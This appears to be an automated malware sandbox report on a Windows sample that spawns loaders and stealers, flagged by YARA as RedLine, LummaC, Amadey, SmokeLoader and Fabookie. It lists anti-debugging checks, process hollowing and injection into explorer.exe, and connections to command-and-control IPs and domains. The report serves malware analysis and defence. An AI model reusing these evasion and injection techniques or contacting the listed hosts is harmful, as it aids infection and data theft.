Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\D5C1.exe	Code function: 6_2_00410160 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,FindNextFileW,FindClose,		6_2_00410160
Source: C:\Users\user\AppData\Local\Temp\D5C1.exe	Code function: 6_2_0040F730 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,_wcsstr,_wcsstr,FindNextFileW,FindClose,		6_2_0040F730

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\oldplayer.exe

File Volume queried: C:\ FullSizeInformation

Anti Debugging

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Source: C:\Users\user\Desktop\file.exe	System information queried: CodeIntegrityInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uehwfht	System information queried: CodeIntegrityInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\89DB.exe	System information queried: CodeIntegrityInformation

Source: C:\Users\user\AppData\Local\Temp\D5C1.exe

6_2_00412220

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0263F569 push dword ptr fs:[00000030h]	0_2_0263F569
Source: C:\Users\user\AppData\Local\Temp\D5C1.exe	Code function: 5_2_040380A3 push dword ptr fs:[00000030h]	5_2_040380A3
Source: C:\Users\user\AppData\Local\Temp\D5C1.exe	Code function: 5_2_04100042 push dword ptr fs:[00000030h]	5_2_04100042

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uehwfht	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\89DB.exe	Process queried: DebugPort

Source: C:\Users\user\AppData\Local\Temp\D5C1.exe

Code function: 6_2_00424168 _memset,IsDebuggerPresent,

6_2_00424168

Source: C:\Users\user\AppData\Local\Temp\D5C1.exe

Code function: 6_2_0042A57A EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

6_2_0042A57A

Source: C:\Users\user\AppData\Local\Temp\D5C1.exe

Code function: 6_2_00447CAC __lseeki64_nolock,__lseeki64_nolock,GetProcessHeap,HeapAlloc,__setmode_nolock,__write_nolock,__setmode_nolock,GetProcessHeap,HeapFree,__lseeki64_nolock,SetEndOfFile,GetLastError,__lseeki64_nolock,

6_2_00447CAC

Source: C:\Users\user\AppData\Local\Temp\D5C1.exe

Code function: 5_2_0403971C rdtsc

5_2_0403971C

Source: C:\Users\user\AppData\Local\Temp\2355.exe

Memory allocated: page read and write | page guard

Source: C:\Users\user\AppData\Local\Temp\D5C1.exe	Code function: 6_2_004329EC SetUnhandledExceptionFilter,UnhandledExceptionFilter,		6_2_004329EC
Source: C:\Users\user\AppData\Local\Temp\D5C1.exe	Code function: 6_2_004329BB SetUnhandledExceptionFilter,		6_2_004329BB

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Network Connect: 84.224.216.79 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 190.187.52.42 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: colisumy.com
Source: C:\Windows\explorer.exe	Domain query: potunulit.org
Source: C:\Windows\explorer.exe	Network Connect: 193.106.174.125 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: h170013.srv22.test-hf.su
Source: C:\Windows\explorer.exe	Network Connect: 211.171.233.129 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: shsplatform.co.uk
Source: C:\Windows\explorer.exe	Domain query: nordskills.eu
Source: C:\Windows\explorer.exe	Network Connect: 89.208.104.62 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 80.66.203.53 443	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 109.98.58.98 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 213.6.54.58 443	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 187.204.99.218 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 45.9.74.80 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: greenbi.net
Source: C:\Windows\explorer.exe	Network Connect: 188.114.97.7 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 188.36.122.174 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 95.214.25.207 3003	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 62.217.232.10 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 188.114.96.7 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: aa.imgjeoogbb.com
Source: C:\Windows\explorer.exe	Domain query: reinroot.top
Source: C:\Windows\explorer.exe	Network Connect: 91.227.16.22 80	Jump to behavior

Benign windows process drops PE files

Source: C:\Windows\explorer.exe

File created: D05F.exe.3.dr

Jump to dropped file

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\file.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uehwfht	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uehwfht	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\89DB.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write
Source: C:\Users\user\AppData\Local\Temp\89DB.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\D5C1.exe	Memory written: C:\Users\user\AppData\Local\Temp\D5C1.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4FC4.exe	Memory written: C:\Users\user\AppData\Local\Temp\4FC4.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4149.exe	Memory written: C:\Users\user\AppData\Local\Temp\4149.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\b9493cdd-4f9e-4392-9483-9c5b462e32e3\4149.exe	Memory written: C:\Users\user\AppData\Local\b9493cdd-4f9e-4392-9483-9c5b462e32e3\4149.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\Temp\4149.exe	Memory written: C:\Users\user\AppData\Local\Temp\4149.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\Temp\B666.exe	Memory written: C:\Users\user\AppData\Local\Temp\B666.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\b9493cdd-4f9e-4392-9483-9c5b462e32e3\4149.exe	Memory written: C:\Users\user\AppData\Local\b9493cdd-4f9e-4392-9483-9c5b462e32e3\4149.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\Temp\B03B.exe	Memory written: C:\Users\user\AppData\Local\Temp\B03B.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\Temp\89B0.exe	Memory written: C:\Users\user\AppData\Local\Temp\89B0.exe base: 400000 value starts with: 4D5A

Contains functionality to inject code into remote processes

Source: C:\Users\user\AppData\Local\Temp\D5C1.exe

Code function: 5_2_04100110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess,

5_2_04100110

Creates a thread in another existing process (thread injection)

Source: C:\Users\user\Desktop\file.exe	Thread created: C:\Windows\explorer.exe EIP: 4621B14	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uehwfht	Thread created: unknown EIP: 47B1B14	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\89DB.exe	Thread created: unknown EIP: 4AE1978

Sample uses process hollowing technique

Source: C:\Users\user\AppData\Local\b9493cdd-4f9e-4392-9483-9c5b462e32e3\4149.exe	Section unmapped: unknown base address: 400000
Source: C:\Users\user\AppData\Local\Temp\B03B.exe	Section unmapped: unknown base address: 400000
Source: C:\Users\user\AppData\Local\Temp\89B0.exe	Section unmapped: unknown base address: 400000

Source: C:\Users\user\AppData\Local\Temp\D5C1.exe	Process created: C:\Users\user\AppData\Local\Temp\D5C1.exe C:\Users\user\AppData\Local\Temp\D5C1.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4FC4.exe	Process created: C:\Users\user\AppData\Local\Temp\4FC4.exe C:\Users\user\AppData\Local\Temp\4FC4.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4149.exe	Process created: C:\Users\user\AppData\Local\Temp\4149.exe C:\Users\user\AppData\Local\Temp\4149.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\b9493cdd-4f9e-4392-9483-9c5b462e32e3\4149.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\4149.exe	Process created: C:\Users\user\AppData\Local\Temp\4149.exe "C:\Users\user\AppData\Local\Temp\4149.exe" --Admin IsNotAutoStart IsNotTask
Source: C:\Users\user\AppData\Local\Temp\B666.exe	Process created: C:\Users\user\AppData\Local\Temp\B666.exe C:\Users\user\AppData\Local\Temp\B666.exe
Source: C:\Users\user\AppData\Local\b9493cdd-4f9e-4392-9483-9c5b462e32e3\4149.exe	Process created: C:\Users\user\AppData\Local\b9493cdd-4f9e-4392-9483-9c5b462e32e3\4149.exe "C:\Users\user\AppData\Local\b9493cdd-4f9e-4392-9483-9c5b462e32e3\4149.exe" --AutoStart
Source: C:\Users\user\AppData\Local\Temp\F0EE.exe	Process created: C:\Users\user\AppData\Local\Temp\aafg31.exe "C:\Users\user\AppData\Local\Temp\aafg31.exe"
Source: C:\Users\user\AppData\Local\Temp\F0EE.exe	Process created: C:\Users\user\AppData\Local\Temp\oldplayer.exe "C:\Users\user\AppData\Local\Temp\oldplayer.exe"
Source: C:\Users\user\AppData\Local\Temp\F0EE.exe	Process created: C:\Users\user\AppData\Local\Temp\XandETC.exe "C:\Users\user\AppData\Local\Temp\XandETC.exe"
Source: C:\Users\user\AppData\Local\Temp\oldplayer.exe	Process created: C:\Users\user\AppData\Local\Temp\207aa4515d\oneetx.exe "C:\Users\user\AppData\Local\Temp\207aa4515d\oneetx.exe"
Source: C:\Users\user\AppData\Local\Temp\207aa4515d\oneetx.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\207aa4515d\oneetx.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\B03B.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\89B0.exe	Process created: unknown unknown

Source: C:\Users\user\AppData\Local\Temp\D5C1.exe

Code function: 6_2_00419F90 GetCurrentProcess,GetLastError,GetLastError,SetPriorityClass,GetLastError,GetModuleFileNameW,PathRemoveFileSpecW,GetCommandLineW,CommandLineToArgvW,lstrcpyW,lstrcmpW,lstrcmpW,lstrcpyW,lstrcpyW,lstrcmpW,lstrcmpW,GlobalFree,lstrcpyW,lstrcpyW,OpenProcess,WaitForSingleObject,CloseHandle,Sleep,GlobalFree,GetCurrentProcess,GetExitCodeProcess,TerminateProcess,CloseHandle,lstrcatW,GetVersion,lstrcpyW,lstrcatW,lstrcatW,_memset,ShellExecuteExW,CreateThread,lstrlenA,lstrcatW,_malloc,lstrcatW,_memset,lstrcatW,MultiByteToWideChar,lstrcatW,lstrlenW,CreateThread,WaitForSingleObject,CreateMutexA,CreateMutexA,lstrlenA,lstrcpyA,_memmove,_memmove,_memmove,GetUserNameW,GetMessageW,GetMessageW,DispatchMessageW,TranslateMessage,TranslateMessage,DispatchMessageW,GetMessageW,PostThreadMessageW,PeekMessageW,PostThreadMessageW,PeekMessageW,DispatchMessageW,PeekMessageW,WaitForSingleObject,PostThreadMessageW,PeekMessageW,DispatchMessageW,PeekMessageW,WaitForSingleObject,CloseHandle,

6_2_00419F90

Source: explorer.exe, 00000003.00000000.544289298.0000000000E50000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: EProgram Managerzx
Source: explorer.exe, 00000003.00000000.549679765.0000000005C70000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.544289298.0000000000E50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000003.00000000.552915146.000000000834F000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000003.00000000.544289298.0000000000E50000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000003.00000000.544142835.00000000009C8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Progmanath
Source: explorer.exe, 00000003.00000000.544289298.0000000000E50000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\AppData\Local\Temp\D5C1.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,GetCPInfo,___crtLCMapStringA,___crtLCMapStringA,___crtGetStringTypeA,_free,_free,_free,_free,_free,_free,_free,_free,_free,	6_2_0043404A
Source: C:\Users\user\AppData\Local\Temp\D5C1.exe	Code function: _LcidFromHexString,GetLocaleInfoW,_TestDefaultLanguage,	6_2_00438178
Source: C:\Users\user\AppData\Local\Temp\D5C1.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	6_2_00440116
Source: C:\Users\user\AppData\Local\Temp\D5C1.exe	Code function: _wcscmp,_wcscmp,GetLocaleInfoW,GetLocaleInfoW,GetACP,	6_2_004382A2
Source: C:\Users\user\AppData\Local\Temp\D5C1.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,	6_2_0043834F
Source: C:\Users\user\AppData\Local\Temp\D5C1.exe	Code function: _memset,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_GetLcidFromCountry,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,___crtDownlevelLCIDToLocaleName,___crtDownlevelLCIDToLocaleName,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,__itow_s,	6_2_00438423
Source: C:\Users\user\AppData\Local\Temp\D5C1.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	6_2_004335E7
Source: C:\Users\user\AppData\Local\Temp\D5C1.exe	Code function: EnumSystemLocalesW,	6_2_004387C8
Source: C:\Users\user\AppData\Local\Temp\D5C1.exe	Code function: GetLocaleInfoW,	6_2_0043884E
Source: C:\Users\user\AppData\Local\Temp\D5C1.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_mon,_free,_free,_free,_free,_free,	6_2_00432B6D
Source: C:\Users\user\AppData\Local\Temp\D5C1.exe	Code function: _TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_GetLocaleNameFromDefault,IsValidCodePage,_wcschr,_wcschr,__itow_s,__invoke_watson,_LcidFromHexString,GetLocaleInfoW,	6_2_00437BB3
Source: C:\Users\user\AppData\Local\Temp\D5C1.exe	Code function: EnumSystemLocalesW,	6_2_00437E27
Source: C:\Users\user\AppData\Local\Temp\D5C1.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,	6_2_00437E83
Source: C:\Users\user\AppData\Local\Temp\D5C1.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,	6_2_00437F00
Source: C:\Users\user\AppData\Local\Temp\D5C1.exe	Code function: ___crtGetLocaleInfoA,GetLastError,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__calloc_crt,_free,__invoke_watson,	6_2_0042BF17
Source: C:\Users\user\AppData\Local\Temp\D5C1.exe	Code function: _LcidFromHexString,GetLocaleInfoW,GetLocaleInfoW,__wcsnicmp,GetLocaleInfoW,_TestDefaultLanguage,	6_2_00437F83
Source: C:\Users\user\AppData\Local\Temp\D5C1.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,_free,_free,_free,_free,	6_2_00432FAD

Source: C:\Users\user\AppData\Local\Temp\2355.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\2355.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\2355.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\2355.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\2355.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\2355.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\2355.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\2355.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\F0EE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\F0EE.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\207aa4515d\oneetx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\207aa4515d\oneetx.exe VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\D5C1.exe

Code function: 6_2_00427756 cpuid

6_2_00427756

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\D5C1.exe

Code function: 5_2_004093C5 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

5_2_004093C5

Source: C:\Users\user\AppData\Local\Temp\D5C1.exe

Code function: 6_2_0042FE47 __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

6_2_0042FE47

Source: C:\Users\user\AppData\Local\Temp\D5C1.exe

6_2_00419F90

Source: C:\Users\user\AppData\Local\Temp\D5C1.exe

6_2_00419F90

Stealing of Sensitive Information

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 19.2.2355.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.3.2355.exe.3ff0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.2355.exe.42c0000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.2355.exe.4100ee8.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.2355.exe.4100000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.2355.exe.42c0000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.2355.exe.41b1e76.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.2355.exe.41b2d5e.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.2355.exe.41b1e76.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.2355.exe.5486550.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.2355.exe.5486550.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.2355.exe.3e60e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.2355.exe.4100ee8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.2355.exe.41b2d5e.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.2355.exe.4100000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.2355.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000013.00000002.800068584.0000000004171000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.799971292.0000000004100000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.797455681.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.808719162.0000000005485000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.799330490.0000000003E60000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.804824632.0000000004565000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.804824632.0000000004471000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.800317816.00000000042C0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.654257669.0000000003FF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 2355.exe PID: 572, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 32.2.oldplayer.exe.ea0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.2.oneetx.exe.3d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.0.oldplayer.exe.ea0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.0.oneetx.exe.3d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.F0EE.exe.41ffd90.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.F0EE.exe.41ffd90.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.F0EE.exe.4191d50.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000023.00000000.673547711.00000000003D1000.00000020.00000001.01000000.0000001B.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.673885318.0000000000EA1000.00000020.00000001.01000000.00000016.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.797297534.00000000003D1000.00000020.00000001.01000000.0000001B.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000000.668516085.0000000000EA1000.00000020.00000001.01000000.00000016.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.735927343.0000000004155000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\207aa4515d\oneetx.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\oldplayer.exe, type: DROPPED

Yara detected SmokeLoader

Source: Yara match	File source: 22.3.89DB.exe.2470000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.89DB.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.89DB.exe.2460e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000016.00000002.677551538.0000000002470000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.678331405.0000000003F91000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.633138123.0000000002360000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.634169410.0000000003F81000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.565053252.0000000002590000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.566378652.00000000025B1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.659211500.0000000002470000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Amadey bot

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 00000023.00000002.798494824.00000000014B1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.798494824.0000000001473000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: oneetx.exe PID: 4692, type: MEMORYSTR

Yara detected Fabookie

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 0000001E.00000003.742423411.00000000007DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.777735323.00000000007DD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.733623686.00000000007DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.720867205.00000000007DF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.714511396.00000000007DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.712896879.00000000007DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.770828365.00000000007DD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.710446992.00000000007DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.760432477.00000000007DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.779253254.00000000007DE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.758717400.00000000007DD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.721920559.00000000007DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
